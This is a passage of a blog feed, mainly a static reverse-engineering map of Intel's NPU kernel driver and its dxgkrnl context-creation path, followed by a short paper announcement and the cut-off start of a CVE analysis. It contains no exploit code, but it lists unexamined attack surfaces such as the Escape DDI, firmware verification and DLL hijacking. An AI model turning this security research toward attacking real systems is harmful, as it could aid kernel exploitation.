      <td><code class="language-plaintext highlighter-rouge">hContext</code> (<code class="language-plaintext highlighter-rouge">HANDLE</code>, <code class="language-plaintext highlighter-rouge">[out]</code>)</td>
      <td>not read in prologue</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0x08</code></td>
      <td><code class="language-plaintext highlighter-rouge">NodeOrdinal</code> (<code class="language-plaintext highlighter-rouge">UINT</code>)</td>
      <td><code class="language-plaintext highlighter-rouge">CMP dword ptr [R14+0x8], EAX</code> - compared against context-count limit</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0x0C</code></td>
      <td><code class="language-plaintext highlighter-rouge">EngineAffinity</code> (<code class="language-plaintext highlighter-rouge">UINT</code>)</td>
      <td>not read in prologue</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0x10</code></td>
      <td><code class="language-plaintext highlighter-rouge">Flags</code> (<code class="language-plaintext highlighter-rouge">DXGK_CREATECONTEXTFLAGS</code>)</td>
      <td>-</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0x18</code></td>
      <td><code class="language-plaintext highlighter-rouge">pPrivateDriverData</code> (<code class="language-plaintext highlighter-rouge">VOID*</code>)</td>
      <td><code class="language-plaintext highlighter-rouge">CMP qword ptr [R14+0x18], RDI</code> - non-zero test on a pointer field</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0x20</code></td>
      <td><code class="language-plaintext highlighter-rouge">PrivateDriverDataSize</code> (<code class="language-plaintext highlighter-rouge">UINT</code>)</td>
      <td><code class="language-plaintext highlighter-rouge">CMP dword ptr [R14+0x20], 0x1e</code> - compared against <code class="language-plaintext highlighter-rouge">0x1e</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0x24</code></td>
      <td><code class="language-plaintext highlighter-rouge">ContextInfo</code> (<code class="language-plaintext highlighter-rouge">DXGK_CONTEXTINFO</code>, <code class="language-plaintext highlighter-rouge">[out]</code>)</td>
      <td>written later in the function</td>
    </tr>
  </tbody>
</table>

<p>Read this way, the prologue accesses are <em>consistent</em> with the documented layout: a <code class="language-plaintext highlighter-rouge">UINT</code> at <code class="language-plaintext highlighter-rouge">+0x08</code> (<code class="language-plaintext highlighter-rouge">NodeOrdinal</code>), a pointer at <code class="language-plaintext highlighter-rouge">+0x18</code> (<code class="language-plaintext highlighter-rouge">pPrivateDriverData</code>), and a <code class="language-plaintext highlighter-rouge">UINT</code> at <code class="language-plaintext highlighter-rouge">+0x20</code> (<code class="language-plaintext highlighter-rouge">PrivateDriverDataSize</code>). No divergence is required to explain them.</p>

<p>The asymmetry found earlier is instead a result of the Ghidra database: the <code class="language-plaintext highlighter-rouge">DXGKARG_CREATECONTEXT</code> structure type applied to the second argument is misaligned, which is why the decompiler labels the <code class="language-plaintext highlighter-rouge">+0x20</code> field as <code class="language-plaintext highlighter-rouge">hContext</code> (a field that the documented layout places at <code class="language-plaintext highlighter-rouge">+0x00</code>). The decompile field names in the current database are therefore unreliable. (Another reason, to be conformable with reading Assembly as only the raw disassembly can confirm this)</p>

<p>All this is worth writing down, because it changes how the decompile reads. The decompile contains a field it calls <code class="language-plaintext highlighter-rouge">param_2--&gt;pPrivateDriverData</code> that is only ever bit-tested (<code class="language-plaintext highlighter-rouge">&amp; 3</code>, <code class="language-plaintext highlighter-rouge">&amp; 0x10</code>, <code class="language-plaintext highlighter-rouge">&gt;&gt; 4</code>, <code class="language-plaintext highlighter-rouge">&amp; 1</code>), never dereferenced as a pointer. By data-flow and by semantics, that mislabelled field is almost certainly the documented <code class="language-plaintext highlighter-rouge">Flags</code> field at <code class="language-plaintext highlighter-rouge">+0x10</code>: a <code class="language-plaintext highlighter-rouge">&amp; 0x10</code> test gating the hardware-queue allocation reads naturally as the <code class="language-plaintext highlighter-rouge">HwQueueSupported</code> flag bit. The actual <code class="language-plaintext highlighter-rouge">pPrivateDriverData</code> pointer is the eight-byte value at <code class="language-plaintext highlighter-rouge">+0x18</code>, which the same misaligned struct surfaces under the name <code class="language-plaintext highlighter-rouge">PrivateDriverDataSize</code>. The two are cross-wired by the bad struct type; the raw offsets are not affected by it.</p>

<p>The leading-field layout is therefore the standard documented <code class="language-plaintext highlighter-rouge">DXGKARG_CREATECONTEXT</code>, and the <code class="language-plaintext highlighter-rouge">INTEL_DXGKARG_CREATECONTEXT_EXT</code> naming is dropped. The trailing region is resolved as well. Re-decompiling <code class="language-plaintext highlighter-rouge">KmCreateContext</code> with the misapplied structure removed and reading the raw offsets directly, the writes into the output region land exactly on the documented <code class="language-plaintext highlighter-rouge">DXGK_CONTEXTINFO</code> members and nowhere beyond them:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">+0x24</code> <code class="language-plaintext highlighter-rouge">DmaBufferSize</code> (<code class="language-plaintext highlighter-rouge">0x1000</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">+0x28</code> <code class="language-plaintext highlighter-rouge">DmaBufferSegmentSet</code> (a segment bitmask)</li>
  <li><code class="language-plaintext highlighter-rouge">+0x2c</code> <code class="language-plaintext highlighter-rouge">DmaBufferPrivateDataSize</code> (<code class="language-plaintext highlighter-rouge">0x1000</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">+0x30</code> <code class="language-plaintext highlighter-rouge">AllocationListSize</code> (<code class="language-plaintext highlighter-rouge">0xaa</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">+0x34</code> <code class="language-plaintext highlighter-rouge">PatchLocationListSize</code> (<code class="language-plaintext highlighter-rouge">0xaaa</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">+0x3c</code> <code class="language-plaintext highlighter-rouge">Caps</code> (the first capability bit, set via <code class="language-plaintext highlighter-rouge">|= 1</code>).</li>
</ul>

<p><code class="language-plaintext highlighter-rouge">DXGK_CONTEXTINFO</code> is eight <code class="language-plaintext highlighter-rouge">ULONG</code>s spanning <code class="language-plaintext highlighter-rouge">+0x24</code> through <code class="language-plaintext highlighter-rouge">+0x43</code>; the highest offset <code class="language-plaintext highlighter-rouge">KmCreateContext</code> touches is <code class="language-plaintext highlighter-rouge">+0x3c</code> (the <code class="language-plaintext highlighter-rouge">Caps</code> field, ending at <code class="language-plaintext highlighter-rouge">+0x3f</code>), with <code class="language-plaintext highlighter-rouge">Reserved</code> (<code class="language-plaintext highlighter-rouge">+0x38</code>) and <code class="language-plaintext highlighter-rouge">PagingCompanionNodeId</code> (<code class="language-plaintext highlighter-rouge">+0x40</code>) left at their post-<code class="language-plaintext highlighter-rouge">memset</code> zero.</p>

<hr />

<h2 id="5-tracing-the-call-chain-through-dxgkrnl">5. Tracing the call chain through <code class="language-plaintext highlighter-rouge">dxgkrnl</code></h2>

<blockquote>
  <p><strong>A note on decompiler variable names.</strong> From this section onward, decompiler output uses my explicit renaming convention rather than Ghidra’s auto-generated local names. Each renamed variable keeps its original name as a <code class="language-plaintext highlighter-rouge">_PAST&lt;ghidra_name&gt;</code> suffix, so any renamed variable is traceable back to the raw decompiler output. For the <code class="language-plaintext highlighter-rouge">dxgkrnl</code> <code class="language-plaintext highlighter-rouge">CreateContext</code> analysis the mapping is:</p>

  <ul>
    <li><code class="language-plaintext highlighter-rouge">local_148</code> –&gt; <code class="language-plaintext highlighter-rouge">input_struct</code> - the user-mode <code class="language-plaintext highlighter-rouge">D3DKMT_CREATECONTEXT</code></li>
    <li><code class="language-plaintext highlighter-rouge">local_138</code> –&gt; <code class="language-plaintext highlighter-rouge">user_PrivateDriverData_ptr_PASTlocal_138</code></li>
    <li><code class="language-plaintext highlighter-rouge">local_130</code> –&gt; <code class="language-plaintext highlighter-rouge">PrivateDriverDataSize_PASTlocal_130</code></li>
    <li><code class="language-plaintext highlighter-rouge">local_168</code> –&gt; <code class="language-plaintext highlighter-rouge">kernel_PrivateDriverData_copy_PASTlocal_168</code></li>
    <li><code class="language-plaintext highlighter-rouge">local_180</code> –&gt; <code class="language-plaintext highlighter-rouge">created_context_object_PASTlocal_180</code></li>
  </ul>

  <p>Excerpts that retain raw <code class="language-plaintext highlighter-rouge">local_NNN</code> names are unannotated decompiler output reproduced verbatim.</p>
</blockquote>

<p>Section 4.1 ended on a question that cannot be settled inside <code class="language-plaintext highlighter-rouge">npu_kmd.sys</code>: whether <code class="language-plaintext highlighter-rouge">dxgkrnl</code> captures <code class="language-plaintext highlighter-rouge">pPrivateDriverData</code> into a kernel buffer before invoking the miniport, or passes the user pointer through. Answering that question required following the call chain from the user-mode <code class="language-plaintext highlighter-rouge">D3DKMTCreateContext</code> API down into <code class="language-plaintext highlighter-rouge">dxgkrnl.sys</code>.</p>

<p>The path from user mode to the miniport runs through <code class="language-plaintext highlighter-rouge">D3DKMTCreateContext</code> (exported by <code class="language-plaintext highlighter-rouge">gdi32.dll</code>) –&gt; the corresponding syscall stub in <code class="language-plaintext highlighter-rouge">win32k.sys</code> –&gt; <code class="language-plaintext highlighter-rouge">NtGdiDdDDICreateContext</code> (the kernel-mode handler in <code class="language-plaintext highlighter-rouge">dxgkrnl.sys</code>) –&gt; <code class="language-plaintext highlighter-rouge">DXGDEVICE::CreateContext</code> –&gt; the registered miniport DDI. <code class="language-plaintext highlighter-rouge">NtGdiDdDDICreateContext</code> calls <code class="language-plaintext highlighter-rouge">DXGDEVICE::CreateContext</code> directly; the similarly-named <code class="language-plaintext highlighter-rouge">DxgkCreateContextVirtualInternal</code> / <code class="language-plaintext highlighter-rouge">DxgkCreateContextVirtualImpl</code> pair belongs to a separate sibling chain that serves the <code class="language-plaintext highlighter-rouge">D3DKMTCreateContextVirtual</code> entry point, not the non-virtual <code class="language-plaintext highlighter-rouge">D3DKMTCreateContext</code> path traced here. The chain still spans several stack-argument-heavy calls (which Ghidra’s signature recovery reconstructed quite badly), inside which a probe-and-capture step might or might not occur.</p>

<p><img src="/assets/img/posts/2026-05-30-reverse-engineering-the-intel-npu-windows-driver-an-mcdm-miniport-architecture-map/20260525183103.png" alt="Diagram 6" /> 
<em>Figure 6 - internal dxgkrnl chain + Full-Capture inset</em> (The internal dxgkrnl call chain from NtGdiDdDDICreateContext through DXGDEVICE::CreateContext, with the three-step Full-Capture inset (RtlCopyVolatileMemory -&gt; operator_new[] (DxgK tag) -&gt; memmove) highlighted)</p>

<p>Static analysis of <code class="language-plaintext highlighter-rouge">dxgkrnl!NtGdiDdDDICreateContext</code> shows three sequential operations on the user input:</p>

<ol>
  <li><strong>Probe-and-copy of the outer struct.</strong> The function clamps the user pointer to <code class="language-plaintext highlighter-rouge">MmUserProbeAddress</code> and copies 96 bytes (<code class="language-plaintext highlighter-rouge">0x60</code>) of the <code class="language-plaintext highlighter-rouge">D3DKMT_CREATECONTEXT</code> structure to a kernel stack frame via <code class="language-plaintext highlighter-rouge">RtlCopyVolatileMemory</code>. The clamp ensures that a user pointer pointing into kernel address space is replaced by <code class="language-plaintext highlighter-rouge">MmUserProbeAddress</code> itself before the copy, so the copy cannot dereference kernel memory.</li>
  <li><strong>Bounded kernel-pool allocation.</strong> From the kernel-stack copy of the outer struct, the function reads <code class="language-plaintext highlighter-rouge">pPrivateDriverData</code> and <code class="language-plaintext highlighter-rouge">PrivateDriverDataSize</code>. If both are non-zero, it allocates a kernel pool buffer with <code class="language-plaintext highlighter-rouge">operator_new[](size, 0x4b677844, 0x100)</code>. The tag value <code class="language-plaintext highlighter-rouge">0x4b677844</code> decodes in little-endian as ASCII bytes <code class="language-plaintext highlighter-rouge">44 78 67 4B</code> = <code class="language-plaintext highlighter-rouge">DxgK</code>, which is the standard <code class="language-plaintext highlighter-rouge">dxgkrnl</code>-owned pool tag.</li>
  <li><strong>Range-checked copy into the kernel pool.</strong> Before <code class="language-plaintext highlighter-rouge">memmove</code> runs, the function checks that <code class="language-plaintext highlighter-rouge">user_ptr + size</code> does not wrap (integer overflow guard) and that the resulting end pointer does not exceed <code class="language-plaintext highlighter-rouge">MmUserProbeAddress</code> (upper-bound guard). On failure either guard, the function takes an exception path. On success, <code class="language-plaintext highlighter-rouge">memmove(kernel_pool_ptr, user_ptr, size)</code> copies the user buffer into the kernel pool allocation.</li>
</ol>

<p><em>(The three-step probe –&gt; allocate –&gt; range-checked-copy sequence above is depicted as the highlighted inset of Figure 6.)</em></p>

<p>The kernel pool pointer that results from step 2 is then forwarded toward the miniport DDI. The <code class="language-plaintext highlighter-rouge">dxgkrnl</code> enumeration confirms the capture sequence directly: the verbatim decompiler excerpt shows <code class="language-plaintext highlighter-rouge">_Dst = operator_new[]((ulonglong)PrivateDriverDataSize_PASTlocal_130, 0x4b677844, 0x100)</code> followed by <code class="language-plaintext highlighter-rouge">memmove(_Dst, user_PrivateDriverData_ptr_PASTlocal_138, …)</code>, and the callgraph slice confirms <code class="language-plaintext highlighter-rouge">operator_new[]</code> resolves to <code class="language-plaintext highlighter-rouge">ExAllocatePool2</code>. The tag <code class="language-plaintext highlighter-rouge">0x4b677844</code> is <code class="language-plaintext highlighter-rouge">DxgK</code> in little-endian byte order (<code class="language-plaintext highlighter-rouge">44 78 67 4b</code>).</p>

<p>The forwarding call into the device-level method is now resolved. The <code class="language-plaintext highlighter-rouge">dxgkrnl</code> enumeration recovers <code class="language-plaintext highlighter-rouge">DXGDEVICE::CreateContext</code> at RVA <code class="language-plaintext highlighter-rouge">0x2de368</code>, and its demangled prototype is:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre>public: long DXGDEVICE::CreateContext(
    class DXGCONTEXT **,                 // [out] created context object
    unsigned int,                        // NodeOrdinal
    unsigned int,                        // EngineAffinity
    struct _D3DDDI_CREATECONTEXTFLAGS,   // Flags
    void *,                              // pPrivateDriverData (the captured kernel-pool pointer)
    unsigned int,                        // PrivateDriverDataSize
    enum _D3DKMT_CLIENTHINT,             // ClientHint
    unsigned char)                       // a byte flag
</pre></td></tr></tbody></table></code></pre></div></div>

<p>That is eight declared parameters; counting the implicit <code class="language-plaintext highlighter-rouge">this</code>, the method takes nine arguments.</p>

<p>It is worth noting one tag-disambiguation point for the reader: the <code class="language-plaintext highlighter-rouge">dxgkrnl</code> capture buffer carries the tag <code class="language-plaintext highlighter-rouge">DxgK</code> (<code class="language-plaintext highlighter-rouge">0x4b677844</code>), whereas the per-process VPU context object allocated inside <code class="language-plaintext highlighter-rouge">npu_kmd.sys</code> (Section 4.1) carries the distinct tag <code class="language-plaintext highlighter-rouge">@MP</code> (<code class="language-plaintext highlighter-rouge">0x20504d40</code>). The two tags belong to two different allocations owned by two different components and must not be mixed when reading <code class="language-plaintext highlighter-rouge">!pool</code> output.</p>

<p>The static evidence therefore shows that on the <code class="language-plaintext highlighter-rouge">NtGdiDdDDICreateContext</code> path the standard Full Capture pattern is implemented: probe, allocate, range-check, copy, forward kernel pointer. The remaining open question is whether the pointer that reaches the miniport at the moment of the DDI invocation is in fact the kernel-pool pointer produced by this path. That question is settled only by runtime observation of the DDI invocation, which is outside the scope of this static map; Section 7.3 records it as the boundary at which this analysis stops.</p>

<hr />

<h2 id="6-why-emulation-does-not-answer-the-open-question">6. Why emulation does not answer the open question</h2>

<p>The question Section 5 leaves open is what <code class="language-plaintext highlighter-rouge">dxgkrnl</code> passes to <code class="language-plaintext highlighter-rouge">KmCreateContext</code> after the full <code class="language-plaintext highlighter-rouge">NtGdiDdDDICreateContext</code> path has run, and despite me wanting to, this cannot be settled by emulation. Settling it that way would require emulating, at minimum:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">dxgkrnl.sys</code> and its full DDI dispatch machinery</li>
  <li>The MCDM miniport registration handshake, which depends on <code class="language-plaintext highlighter-rouge">dxgkrnl</code>’s internal state from boot</li>
  <li>The user-mode-to-kernel-mode transition with <code class="language-plaintext highlighter-rouge">pPrivateDriverData</code> arriving from a real user VA space</li>
  <li>The pool allocator, whose behavior determines whether the captured buffer lands in a region with a recognizable tag</li>
  <li><code class="language-plaintext highlighter-rouge">MmUserProbeAddress</code> semantics, which depend on the current process’s VA layout and the kernel’s mode-switch state</li>
</ul>

<p>Emulating the NT graphics subsystem to that depth is just too much to a single forwarded-pointer question. The question is one for runtime observation on real hardware, not emulation; Section 7.3 records it as the boundary at which this static map stops.</p>

<hr />

<h2 id="7-the-staticdynamic-boundary">7. The static/dynamic boundary</h2>

<p>This section explains where static analysis of the <code class="language-plaintext highlighter-rouge">KmCreateContext</code> path stops. The dynamic phase itself with kernel-debugger observation of the live DDI invocation, will be outside the scope of this blog post.</p>

<h3 id="71-locating-the-loaded-binary">7.1 Locating the loaded binary</h3>

<p>On Windows, kernel drivers installed via INF land in <code class="language-plaintext highlighter-rouge">C:\Windows\System32\DriverStore\FileRepository\&lt;package&gt;_&lt;hash&gt;\</code>, where the hash is per-package. The authoritative location is whatever the running driver service points to:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="n">Get-CimInstance</span><span class="w"> </span><span class="nx">Win32_SystemDriver</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Where-Object</span><span class="w"> </span><span class="p">{</span><span class="bp">$_</span><span class="o">.</span><span class="nf">Name</span><span class="w"> </span><span class="o">-eq</span><span class="w"> </span><span class="s1">'npu'</span><span class="p">}</span><span class="w"> </span><span class="o">|</span><span class="w">
    </span><span class="n">Select-Object</span><span class="w"> </span><span class="nx">Name</span><span class="p">,</span><span class="w"> </span><span class="nx">PathName</span><span class="p">,</span><span class="w"> </span><span class="nx">State</span><span class="p">,</span><span class="w"> </span><span class="nx">Started</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>On the test system this resolves to <code class="language-plaintext highlighter-rouge">C:\WINDOWS\system32\DriverStore\FileRepository\npu.inf_amd64_cdb3a40167d50623\npu_kmd.sys</code>, version <code class="language-plaintext highlighter-rouge">32.0.100.4621</code>. The service name is <code class="language-plaintext highlighter-rouge">npu</code>, not <code class="language-plaintext highlighter-rouge">npu_kmd</code>: the binary filename and the service name are unrelated, and the INF declares the service name explicitly via the <code class="language-plaintext highlighter-rouge">AddService</code> directive. <code class="language-plaintext highlighter-rouge">sc query &lt;name&gt;</code> and many WinDbg conveniences key off the service name.</p>

<h3 id="73-the-unresolved-question">7.3 The unresolved question</h3>

<ul>
  <li>Section 4.1 reduced the <code class="language-plaintext highlighter-rouge">pPrivateDriverData</code> reads in <code class="language-plaintext highlighter-rouge">KmCreateContext</code> to a single binary question: does the pointer that reaches the miniport hold a <code class="language-plaintext highlighter-rouge">dxgkrnl</code>-captured kernel buffer (Behavior B, Full Capture) or the raw user pointer (Behavior A, Pass-Through).</li>
  <li>Section 5 traced the <code class="language-plaintext highlighter-rouge">dxgkrnl</code> side and found the Full Capture pattern, probe, allocate, range-check, copy, implemented on the <code class="language-plaintext highlighter-rouge">NtGdiDdDDICreateContext</code> path; the static evidence therefore points to Behavior B. Confirming which pointer actually reaches the miniport at the instant of the DDI call requires runtime observation and is not part of this map.</li>
</ul>

<hr />

<h2 id="8-scope-of-this-map">8. Scope of this “map”</h2>

<p>This section records what the map covers, what is deliberately out of scope, and the questions left open for a follow-on effort.</p>

<h3 id="81-what-the-map-covers">8.1 What the map covers</h3>

<ul>
  <li>Installer structure mapped</li>
  <li><code class="language-plaintext highlighter-rouge">npu.inf</code> parsed; service name confirmed as <code class="language-plaintext highlighter-rouge">npu</code> (binary filename is <code class="language-plaintext highlighter-rouge">npu_kmd.sys</code>).</li>
  <li><code class="language-plaintext highlighter-rouge">npu_kmd.sys</code> identified as an MCDM miniport, not WDM/KMDF. This is the most consequential architectural finding.</li>
  <li>Three platforms supported: VPU 37xx (Meteor Lake), VPU 40xx (Arrow Lake), VPU 50xx (Lunar Lake), distinguished by firmware blobs and PCI IDs.</li>
  <li>DDI callback registration path identified, and the complete <code class="language-plaintext highlighter-rouge">DriverEntry</code> callback table enumerated: 79 writes in total (one version field, 50 unconditional callback pointers, and 28 build-number-gated pointers), with every offset, target, and gate resolved (Section 3).</li>
  <li><code class="language-plaintext highlighter-rouge">KmCreateContext</code> decompiled and annotated as a worked example.</li>
  <li><code class="language-plaintext highlighter-rouge">DXGKARG_CREATECONTEXT</code> argument layout cross-referenced against Microsoft documentation; an apparent structural divergence traced to a misaligned Ghidra struct application rather than a confirmed vendor extension, and a struct-removed re-decompile confirmed the trailing region carries no Intel extension. Every write lands inside the documented <code class="language-plaintext highlighter-rouge">DXGK_CONTEXTINFO</code> (Section 4.2).</li>
  <li>Dereferences inside <code class="language-plaintext highlighter-rouge">KmCreateContext</code> mapped at <code class="language-plaintext highlighter-rouge">+0x10</code>, <code class="language-plaintext highlighter-rouge">+0x14</code>, <code class="language-plaintext highlighter-rouge">+0x18</code>, <code class="language-plaintext highlighter-rouge">+0x1c</code>, <code class="language-plaintext highlighter-rouge">+0x1d</code> relative to the <code class="language-plaintext highlighter-rouge">pPrivateDriverData</code> pointer.</li>
  <li>The two possible runtime behaviors (Behavior A and Behavior B in Section 4.1) framed and reduced to one observable distinction.</li>
  <li>Inside <code class="language-plaintext highlighter-rouge">dxgkrnl.sys</code>, <code class="language-plaintext highlighter-rouge">NtGdiDdDDICreateContext</code> traced through <code class="language-plaintext highlighter-rouge">RtlCopyVolatileMemory</code> (input-struct probe-and-copy), <code class="language-plaintext highlighter-rouge">operator_new[](size, 0x4b677844, 0x100)</code> (kernel-pool allocation with <code class="language-plaintext highlighter-rouge">DxgK</code> tag), and <code class="language-plaintext highlighter-rouge">memmove</code> (range-checked user-to-kernel copy). The static evidence is consistent with the Full Capture pattern on this path.</li>
  <li>INTEL-SA-01403 (the three “improper conditions check” CVEs patched in <code class="language-plaintext highlighter-rouge">32.0.100.4297</code>) reviewed as a reference for where new instances of the same class might live.</li>
</ul>

<h3 id="82-what-is-out-of-scope">8.2 What is out of scope</h3>

<p>Dynamic tests: kernel-debugger observation of the live <code class="language-plaintext highlighter-rouge">KmCreateContext</code> invocation, and anything that requires the driver to be exercised at runtime is not part of this map. Section 4.1 and Section 5 carry the <code class="language-plaintext highlighter-rouge">pPrivateDriverData</code> question as far as static analysis allows; Section 7.3 records the boundary.</p>

<h3 id="83-what-the-map-does-not-yet-cover">8.3 What the map does not yet cover</h3>

<p>The complete callback table is now enumerated in Section 3, but the map stops at the registration layer: it records every populated offset, its target function, and its build-number gating, without resolving which Microsoft DDI role (beyond <code class="language-plaintext highlighter-rouge">DxgkDdiCreateContext</code> at <code class="language-plaintext highlighter-rouge">_464</code>) each slot implements. Mapping the remaining offsets onto their <code class="language-plaintext highlighter-rouge">DxgkDdi*</code> roles, and analysing the individual handlers, is the natural next layer of work.</p>

<p>The following are named here as attack surface but not analyzed in this document:</p>

<ul>
  <li>the cleanup and error-path handling inside <code class="language-plaintext highlighter-rouge">KmCreateContext</code></li>
  <li>the Escape DDI surface</li>
  <li>the behaviour of the 24H2 hardware-scheduling (HWS) callbacks (now enumerated as the build-<code class="language-plaintext highlighter-rouge">24999</code>-gated slots in Section 3, but not individually analyzed)</li>
  <li>the firmware loader path</li>
  <li>the paging-buffer DDI</li>
  <li>the firmware-blob format.</li>
</ul>

<p>The installer (<code class="language-plaintext highlighter-rouge">Installer.exe</code>) and the user-mode DLLs are a separate, user-mode attack surface not examined here.</p>

<h3 id="84-open-questions">8.4 Open questions</h3>

<p>These are the questions that I will consider trying to answer in the future.</p>

<ol>
  <li>Does the pointer reaching <code class="language-plaintext highlighter-rouge">KmCreateContext</code> hold a <code class="language-plaintext highlighter-rouge">dxgkrnl</code>-captured kernel buffer or the raw user pointer? Section 5 shows the Full Capture pattern on the <code class="language-plaintext highlighter-rouge">dxgkrnl</code> side; runtime confirmation is the open item.</li>
  <li>The prologue’s exact-<code class="language-plaintext highlighter-rouge">0x1e</code> size gate (Section 4.1) means a Full-Capture buffer is always 30 bytes and the five reads (max <code class="language-plaintext highlighter-rouge">+0x1d</code>) are in bounds, so the captured-buffer out-of-bounds question is closed by static analysis.</li>
  <li>Does the cleanup function handle all partial-initialization states in <code class="language-plaintext highlighter-rouge">KmCreateContext</code>’s error paths?</li>
  <li>Where are the <code class="language-plaintext highlighter-rouge">pHwOps</code> vtable assignment sites that resolve per-generation hardware abstraction?</li>
  <li>Did <code class="language-plaintext highlighter-rouge">4723</code> versus <code class="language-plaintext highlighter-rouge">4621</code> introduce any change in <code class="language-plaintext highlighter-rouge">KmCreateContext</code> or adjacent functions?</li>
  <li>Are there DLL hijacking opportunities in <code class="language-plaintext highlighter-rouge">Installer.exe</code> or any of the user-mode DLLs?</li>
  <li>Does the firmware loader verify the firmware blob itself, or rely only on the on-disk WHQL signature? If unverified, this is a firmware-integrity gap.</li>
</ol>

<hr />

<h2 id="9-closing-note">9. Closing note</h2>

<p>The whole idea of this document is the map itself: the identification of <code class="language-plaintext highlighter-rouge">npu_kmd.sys</code> as an MCDM miniport, the <code class="language-plaintext highlighter-rouge">DriverEntry</code> callback-registration mechanism, the D3DKMT-to-DDI dispatch path, the <code class="language-plaintext highlighter-rouge">dxgkrnl</code> trust boundary, and a worked static analysis of one DDI (<code class="language-plaintext highlighter-rouge">KmCreateContext</code>) carried to the point where static evidence runs out.</p>

<p>Its value is as a reference for anyone auditing this driver, or a comparable MCDM compute miniport.</p>

<p>About the next posts: I love talking about this in the end, because it kinda forces me to not bail out on these ideas, but to actually finish them. So I am looking at several other targets and ideas as well:</p>

<ul>
  <li>ProGuard Obfuscation and finding your way around it</li>
  <li>Large Lange Model weights forensics and “weights steganography”</li>
  <li>JetBrains <em>bleeeh ;p</em></li>
</ul>

<hr />

<p><em>Offsets in <code class="language-plaintext highlighter-rouge">npu_kmd.sys</code> version <code class="language-plaintext highlighter-rouge">32.0.100.4723</code>.</em> 
Love from <a href="https://raptx.org/">RaptX</a> 
<img src="/assets/img/posts/2026-05-30-reverse-engineering-the-intel-npu-windows-driver-an-mcdm-miniport-architecture-map/RAPTX-team-logo.png" alt="RaptX" /></p>]]></content><author><name>TFLL37</name></author><category term="Vulnerability Research" /><category term="Reverse Engineering" /><category term="Drivers" /><category term="binary-analysis" /><category term="defense" /><category term="windows" /><category term="intel" /><category term="NPU-chips" /><summary type="html"><![CDATA[Foreword]]></summary></entry><entry><title type="html">Project UNDERTOW - The Math Behind Calculating Priority Score for Manual Reverse Engineering</title><link href="https://tfll37.github.io/posts/UNDERTOW-Math/" rel="alternate" type="text/html" title="Project UNDERTOW - The Math Behind Calculating Priority Score for Manual Reverse Engineering" /><published>2026-05-21T16:01:00+02:00</published><updated>2026-05-31T15:57:15+02:00</updated><id>https://tfll37.github.io/posts/UNDERTOW-Math</id><content type="html" xml:base="https://tfll37.github.io/posts/UNDERTOW-Math/"><![CDATA[<p>Around a month ago, I <a href="https://www.linkedin.com/posts/mark-konstantinov-641b4b22b_securityresearch-vulnerabilityresearch-reverseengineering-ugcPost-7445194282568704001-1GYu">announced Project UNDERTOW</a> for the first time. In that post, I explained some of the reasons why I was not going to publish the full Go source code together with the math, explained, formally in a paper even though everything was almost fully finished.</p>

<p>However, after many considerations and overthinking - more than I should have, speaking with a very close friend (tbh, if it wasn’t for him to convince me, I wouldn’t have released it), I finally decided to make it public. Or at least the math.</p>

<p>And what about the source of the tool? - There is a part of it which deals with visualizing relations of files across version releases of software, import/export tables + some more “spice” as a Neo4j graph. In the end, this module proved to be, for some reason, more demanding than I wanted it and being a bit burnt-out over this project, I decided to leave it aside for some time. This is not forgotten and I hate leaving projects unfinished, so I will definitely get back to it.</p>

<p>Why am I releasing this, since the tool is not fully complete? - This close friend of me, convinced me, and now I also think the same way, that publishing the math part, at least, before everything is working, would allow me to touch-on, polish and fix mistakes, if someone points out something. Easy.</p>

<p>Enough talk. Enjoy the paper. Algebra + Cybersecurity &lt;3</p>

<p><a href="/assets/pdf/posts/2026-05-21-undertow-math-post/The-Mathematics-of-Project-UNDERTOW-WATERMARKED.pdf" class="glightbox" data-type="pdf" data-title="The Mathematics of Project UNDERTOW">The Mathematics of Project UNDERTOW</a>
<img src="/assets/img/posts/2026-05-21-undertow-math-post/RAPTX-team-logo.png" alt="RaptX" /></p>

<hr />

<p>Bye from TFLL37
<em>Love from <a href="https://raptx.org/">Team RaptX</a></em></p>]]></content><author><name>TFLL37</name></author><category term="Vulnerability Research" /><category term="Reverse Engineering" /><category term="Tools" /><category term="Pipelines" /><category term="nvidia" /><category term="dll-hijacking" /><category term="binary-analysis" /><category term="tooling" /><category term="pipelines" /><category term="defense" /><summary type="html"><![CDATA[Around a month ago, I announced Project UNDERTOW for the first time. In that post, I explained some of the reasons why I was not going to publish the full Go source code together with the math, explained, formally in a paper even though everything was almost fully finished.]]></summary></entry><entry><title type="html">CVE-2025-23297: NVIDIA FrameView SDK Privilege Escalation Analysis</title><link href="https://tfll37.github.io/posts/cve-2025-23297-nvidia-frameview-privilege-escalation/" rel="alternate" type="text/html" title="CVE-2025-23297: NVIDIA FrameView SDK Privilege Escalation Analysis" /><published>2025-10-09T19:00:00+02:00</published><updated>2025-12-24T18:30:34+01:00</updated><id>https://tfll37.github.io/posts/cve-2025-23297-nvidia-frameview-privilege-escalation</id><content type="html" xml:base="https://tfll37.github.io/posts/cve-2025-23297-nvidia-frameview-privilege-escalation/"><![CDATA[<h1 id="overview">Overview</h1>

<p><em>(Note: This article is for educational and security research purposes only. The information provided should not be used for any malicious activities, nor I bear any responsibility for any misuse of it)</em></p>

<p><img src="/assets/img/posts/2025-10-09-cve-post/pasted-image-20251009192446.png" alt="NVIDIA Security Bulletin" /> <em>Figure: NVIDIA security disclosure</em></p>

